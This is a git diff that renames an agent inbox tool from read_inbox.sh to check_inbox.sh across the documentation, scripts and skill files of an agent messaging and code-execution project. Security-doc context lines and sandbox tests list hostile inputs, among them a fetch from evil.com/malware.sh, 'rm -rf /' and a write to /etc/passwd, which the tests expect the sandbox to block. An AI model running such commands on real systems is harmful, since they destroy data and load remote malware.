diff --git a/docs/code-execution-examples.md b/docs/code-execution-examples.md index 3a26ca9..dd1e5f1 100644 --- a/docs/code-execution-examples.md +++ b/docs/code-execution-examples.md @@ -14,7 +14,7 @@ agent_id="$1" count=0 while true; do - msg=$(./read_inbox.sh "$agent_id" 2>&1) + msg=$(./check_inbox.sh "$agent_id" 2>&1) if [[ "$msg" == "No messages" ]]; then break fi @@ -56,7 +56,7 @@ attempts=0 max_attempts=10 while [ $attempts -lt $max_attempts ]; do - msg=$(./read_inbox.sh "$agent_id" 2>&1) + msg=$(./check_inbox.sh "$agent_id" 2>&1) if echo "$msg" | grep -q "$keyword"; then echo "Found message with keyword: $keyword" @@ -155,7 +155,7 @@ Route messages based on content: agent_id="$1" while true; do - msg=$(./read_inbox.sh "$agent_id" 2>&1) + msg=$(./check_inbox.sh "$agent_id" 2>&1) if [[ "$msg" == "No messages" ]]; then sleep 5 @@ -230,7 +230,7 @@ processed=0 errors=0 while true; do - msg=$(./read_inbox.sh "$agent_id" 2>&1) + msg=$(./check_inbox.sh "$agent_id" 2>&1) if [[ "$msg" == "No messages" ]]; then break diff --git a/docs/code-execution-migration-guide.md b/docs/code-execution-migration-guide.md index 3d1ae19..19663ea 100644 --- a/docs/code-execution-migration-guide.md +++ b/docs/code-execution-migration-guide.md @@ -26,7 +26,7 @@ MCP: { "content": [{"type": "text", "text": "[Message 1]\n[Message 2]\n..."}] } **After**: ``` -execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a" +execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a" ``` **Token savings**: Minimal for single calls, but enables further optimization @@ -49,7 +49,7 @@ MCP: { "content": [...] } // 5,000 tokens ``` execute_code with code: " for agent_id in agent-1 agent-2 agent-3; do - bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) \$agent_id | wc -l + bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) \$agent_id | wc -l done | awk '{sum+=\$1} END {print \"Total messages:\", sum}' " ``` @@ -139,7 +139,7 @@ MCP: { "content": "State updated" } **After**: ``` execute_code with code: " -inbox=\$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a) +inbox=\$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a) urgent_count=\$(echo \"\$inbox\" | grep -c URGENT || echo 0) if [ \$urgent_count -gt 0 ]; then @@ -166,7 +166,7 @@ TOOL CALL read_inbox(agent_id: "82b93a8a") **After**: ``` -execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a" +execute_code with code: "bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a" ``` **Or use 9P directly**: @@ -261,13 +261,13 @@ Code execution is better for: **Bad**: ```bash -result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a) +result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a) echo "$result" # Could be 50,000 tokens ``` **Good**: ```bash -result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a) +result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a) count=$(echo "$result" | wc -l) echo "Inbox has $count messages" # ~10 tokens ``` @@ -276,18 +276,18 @@ echo "Inbox has $count messages" # ~10 tokens **Bad**: ```bash -result1=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-1) +result1=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-1) echo "$result1" -result2=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-2) +result2=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-2) echo "$result2" -result3=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) agent-3) +result3=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) agent-3) echo "$result3" ``` **Good**: ```bash for agent_id in agent-1 agent-2 agent-3; do - result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) "$agent_id") + result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) "$agent_id") count=$(echo "$result" | wc -l) echo "$agent_id: $count messages" done @@ -297,13 +297,13 @@ done **Bad**: ```bash -result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) invalid-id) +result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) invalid-id) echo "$result" # May fail silently ``` **Good**: ```bash -if result=$(bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) invalid-id 2>&1); then +if result=$(bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) invalid-id 2>&1); then echo "$result" else echo "Failed to read inbox: $result" >&2 @@ -315,7 +315,7 @@ fi **Bad**: ```bash for i in {1..10}; do - tool=$(9p read anvillm/tools/anvilmcp/read_inbox.sh) + tool=$(9p read anvillm/tools/anvilmcp/check_inbox.sh) # Parse and use... done ``` @@ -324,7 +324,7 @@ done ```bash # Call tool directly each time for i in {1..10}; do - bash <(9p read anvillm/tools/anvilmcp/read_inbox.sh) 82b93a8a + bash <(9p read anvillm/tools/anvilmcp/check_inbox.sh) 82b93a8a done ``` diff --git a/docs/code-execution-security.md b/docs/code-execution-security.md index 01eae41..6c62fe8 100644 --- a/docs/code-execution-security.md +++ b/docs/code-execution-security.md @@ -123,7 +123,7 @@ bash run \ 3. **Temporary Workspace**: Isolated per execution ```go -workspace := filepath.Join(os.TempDir(), +workspace := filepath.Join(os.TempDir(), fmt.Sprintf("anvilmcp-%d", time.Now().UnixNano())) defer os.RemoveAll(workspace) ``` @@ -148,7 +148,7 @@ defer os.RemoveAll(workspace) 1. **Execution Timeout**: Hard limit on execution time ```go -ctx, cancel := context.WithTimeout(context.Background(), +ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSec)*time.Second) defer cancel() @@ -299,7 +299,7 @@ import { malicious } from "https://evil.com/malware.sh"; 3. **Local Imports Only**: Only import from workspace ```bash // Allowed -# Call tools from anvillm/tools/anvilmcp/read_inbox.sh"; +# Call tools from anvillm/tools/anvilmcp/check_inbox.sh"; // Blocked (outside workspace) import { evil } from "/etc/passwd"; @@ -472,7 +472,7 @@ func TestCodeValidation(t *testing.T) { {"bash.exit(1)", true}, {"eval('malicious')", true}, } - + for _, tt := range tests { err := validateCode(tt.code) if (err != nil) != tt.shouldFail { @@ -493,7 +493,7 @@ func TestSubprocessRestrictions(t *testing.T) { if err == nil { t.Error("Expected filesystem restriction, got success") } - + // Test command whitelist code = `bash.run({cmd: ["rm", "-rf", "/"]})` _, err = executeCode(code, "bash", 10) @@ -513,7 +513,7 @@ func TestSubprocessEscape(t *testing.T) { `bash.writeTextFileSync("../../../etc/passwd", "hacked")`, `import("https://evil.com/malware.sh")`, } - + for _, code := range escapeAttempts { _, err := executeCode(code, "bash", 10) if err == nil { diff --git a/docs/code-execution-user-guide.md b/docs/code-execution-user-guide.md index d7dc5fe..958fbdd 100644 --- a/docs/code-execution-user-guide.md +++ b/docs/code-execution-user-guide.md @@ -15,7 +15,7 @@ Loading 100 tools upfront costs ~9,000 tokens (45% of a 200k context window). Wi 9p ls anvillm/tools/anvilmcp # Read only the tool you need (~90 tokens) -9p read anvillm/tools/anvilmcp/read_inbox.sh +9p read anvillm/tools/anvilmcp/check_inbox.sh ``` **Savings**: 97% (120 tokens vs 9,000 tokens) @@ -45,7 +45,7 @@ echo "Found $count pending orders" 2. **Read tool documentation**: ```bash -9p read anvillm/tools/anvilmcp/read_inbox.sh +9p read anvillm/tools/anvilmcp/check_inbox.sh ``` 3. **Call tool via MCP**: @@ -107,7 +107,7 @@ agents=("agent-1" "agent-2" "agent-3") total_messages=0 for agent_id in "${agents[@]}"; do - result=$(anvillm/tools/anvilmcp/read_inbox.sh "$agent_id") + result=$(anvillm/tools/anvilmcp/check_inbox.sh "$agent_id") count=$(echo "$result" | wc -l) total_messages=$((total_messages + count)) done @@ -141,7 +141,7 @@ echo "Processed $count contacts" All tools are accessed via 9P commands. Read tool documentation first: ```bash -9p read anvillm/tools/anvilmcp/read_inbox.sh +9p read anvillm/tools/anvilmcp/check_inbox.sh ``` ### Communication @@ -218,12 +218,12 @@ Cache tool paths instead of re-reading: ```bash # Bad: Re-read every time for i in {1..10}; do - 9p read anvillm/tools/anvilmcp/read_inbox.sh + 9p read anvillm/tools/anvilmcp/check_inbox.sh done # Good: Call directly for i in {1..10}; do - anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a" + anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a" done ``` @@ -232,7 +232,7 @@ done ```bash agents=("agent-1" "agent-2" "agent-3") for agent_id in "${agents[@]}"; do - anvillm/tools/anvilmcp/read_inbox.sh "$agent_id" & + anvillm/tools/anvilmcp/check_inbox.sh "$agent_id" & done wait echo "Processed ${#agents[@]} inboxes" @@ -242,11 +242,11 @@ echo "Processed ${#agents[@]} inboxes" ```bash # Bad: Return all data -result=$(anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a") +result=$(anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a") echo "$result" # Could be 50,000 tokens # Good: Return summary -result=$(anvillm/tools/anvilmcp/read_inbox.sh "82b93a8a") +result=$(anvillm/tools/anvilmcp/check_inbox.sh "82b93a8a") count=$(echo "$result" | wc -l) echo "Inbox has $count messages" # ~10 tokens ``` @@ -311,7 +311,7 @@ MCP: { "content": [{"type": "text", "text": "Message sent"}] } ``` Agent: TOOL CALL execute_code(code: " - result=$(anvillm/tools/anvilmcp/read_inbox.sh '82b93a8a') + result=$(anvillm/tools/anvilmcp/check_inbox.sh '82b93a8a') urgent=$(echo \"$result\" | grep -c 'URGENT') echo \"Found $urgent urgent messages\" ", language: "bash") diff --git a/mcptools/read_inbox.sh b/mcptools/check_inbox.sh similarity index 100% rename from mcptools/read_inbox.sh rename to mcptools/check_inbox.sh diff --git a/scripts/update-tool-frontmatter.sh b/scripts/update-tool-frontmatter.sh index bc34a95..be776b2 100644 --- a/scripts/update-tool-frontmatter.sh +++ b/scripts/update-tool-frontmatter.sh @@ -25,8 +25,8 @@ update_tool() { # send_message.sh update_tool "$TOOLS_DIR/send_message.sh" "messaging" "Send message to agent or user: FROM TO TYPE SUBJECT BODY" -# read_inbox.sh -update_tool "$TOOLS_DIR/read_inbox.sh" "messaging" "Read agent inbox: AGENT_ID" +# check_inbox.sh +update_tool "$TOOLS_DIR/check_inbox.sh" "messaging" "Read agent inbox: AGENT_ID" # list_sessions.sh update_tool "$TOOLS_DIR/list_sessions.sh" "agents" "List all running agent sessions" diff --git a/skills/anvillm-communication/SKILL.md b/skills/anvillm-communication/SKILL.md index 3bdbfb0..64db114 100644 --- a/skills/anvillm-communication/SKILL.md +++ b/skills/anvillm-communication/SKILL.md @@ -28,7 +28,7 @@ args: ["--to", "", "--type", "", "--subject", "", "--bod Check inbox: ``` Tool: execute_code -tool: read_inbox.sh +tool: check_inbox.sh ``` View message history: diff --git a/skills/pcloudcc-testing/SKILL.md b/skills/pcloudcc-testing/SKILL.md index ba14782..f59a661 100644 --- a/skills/pcloudcc-testing/SKILL.md +++ b/skills/pcloudcc-testing/SKILL.md @@ -86,7 +86,7 @@ args: ["", "", "PROMPT_REQUEST", "Validate fix", "Bug Read response (user notifies when ready): ``` Tool: execute_code -tool: read_inbox.sh +tool: check_inbox.sh args: [""] ```